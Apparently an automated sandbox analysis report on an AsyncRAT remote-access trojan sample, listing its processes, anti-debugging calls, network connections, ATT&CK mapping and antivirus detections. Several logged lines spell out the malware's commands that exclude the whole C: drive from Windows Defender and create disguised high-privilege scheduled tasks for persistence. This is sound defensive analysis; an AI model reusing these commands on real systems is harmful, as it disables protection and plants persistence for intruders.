Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 593890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 593781	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\explore.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: rrat.exe.4.dr	Binary or memory string: vmware
Source: Explorer.exe, 00000010.00000002.4490094603.0000000000E58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\rrats.exe	API call chain: ExitProcess graph end node			graph_0-25133
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	API call chain: ExitProcess graph end node			graph_4-19997

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\rrats.exe

Code function: 0_2_00CBF838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00CBF838

Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CC7DEE mov eax, dword ptr fs:[00000030h]		0_2_00CC7DEE
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00E9C733 mov eax, dword ptr fs:[00000030h]		4_2_00E9C733

Source: C:\Users\user\Desktop\rrats.exe

Code function: 0_2_00CCC030 GetProcessHeap,

0_2_00CCC030

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CBF838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00CBF838
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CBF9D5 SetUnhandledExceptionFilter,	0_2_00CBF9D5
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CBFBCA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00CBFBCA
Source: C:\Users\user\Desktop\rrats.exe	Code function: 0_2_00CC8EBD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00CC8EBD
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00E9495A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00E9495A
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00E94561 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00E94561
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00E9D792 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00E9D792
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: 4_2_00E94705 SetUnhandledExceptionFilter,	4_2_00E94705

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Users\user\AppData\Roaming\Explorer.exe	Network Connect: 104.20.4.235 443	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Network Connect: 172.67.19.24 443	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Network Connect: 194.67.204.7 88	Jump to behavior

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Add-MpPreference -ExclusionPath C:\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:\
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /Cschtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdaters" /tr "cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdaters" /tr "cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\"
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /C powershell Add-MpPreference -ExclusionPath C:"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:"
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Add-MpPreference -ExclusionPath C:\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /Cschtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdaters" /tr "cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdaters" /tr "cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:"

Source: C:\Users\user\Desktop\rrats.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\a.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe a.exe -p1234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe "C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Add-MpPreference -ExclusionPath C:\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows\WindowsUpdater" /tr '"C:\Users\user\AppData\Roaming\Explorer.exe"' & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpE75F.tmp.bat""	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "Windows\WindowsUpdater" /tr '"C:\Users\user\AppData\Roaming\Explorer.exe"'	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\Explorer.exe "C:\Users\user\AppData\Roaming\Explorer.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /Cschtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdate" /tr "C:\Users\user\AppData\Local\explore.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /Cschtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdaters" /tr "cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdate" /tr "C:\Users\user\AppData\Local\explore.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdaters" /tr "cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:"

Source: C:\Users\user\Desktop\rrats.exe

Code function: 0_2_00CBF654 cpuid

0_2_00CBF654

Source: C:\Users\user\Desktop\rrats.exe	Code function: GetLocaleInfoW,GetNumberFormatW,		0_2_00CBAF0F
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	Code function: GetLocaleInfoW,GetNumberFormatW,		4_2_00E9006D

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Explorer.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Explorer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Explorer.exe VolumeInformation
Source: C:\Users\user\AppData\Local\explore.exe	Queries volume information: C:\Users\user\AppData\Local\explore.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Source: C:\Users\user\Desktop\rrats.exe

Code function: 0_2_00CBDF1E GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

0_2_00CBDF1E

Source: C:\Users\user\Desktop\rrats.exe

Code function: 0_2_00CAB146 GetVersionExW,

0_2_00CAB146

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: 5.0.rrat.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rrat.exe.26db1a0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rrat.exe.26db1a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2089096502.0000000002571000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: a.exe PID: 1372, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rrat.exe PID: 1968, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Explorer.exe PID: 7356, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\explore.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Explorer.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Native API	1 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	111 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Scheduled Task/Job	2 Scheduled Task/Job	2 Scheduled Task/Job	121 Obfuscated Files or Information	Security Account Manager	36 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	221 Security Software Discovery	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	3 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	31 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
rrats.exe	45%	ReversingLabs	Win32.Trojan.Rastarby
rrats.exe	100%	Avira	TR/AVI.AsyncRat.fkvod

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\Explorer.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Local\explore.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Roaming\Explorer.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\explore.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe	17%	ReversingLabs
C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	82%	ReversingLabs	Win32.Backdoor.AsyncRat
C:\Users\user\AppData\Local\explore.exe	82%	ReversingLabs	Win32.Backdoor.AsyncRat
C:\Users\user\AppData\Roaming\Explorer.exe	82%	ReversingLabs	Win32.Backdoor.AsyncRat

Source	Detection	Scanner	Label	Link
http://www.w3.or	0%	Avira URL Cloud	safe
https://www.techniknews.net/wp-content/uploads/2018/07/discord-logo.jpg	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
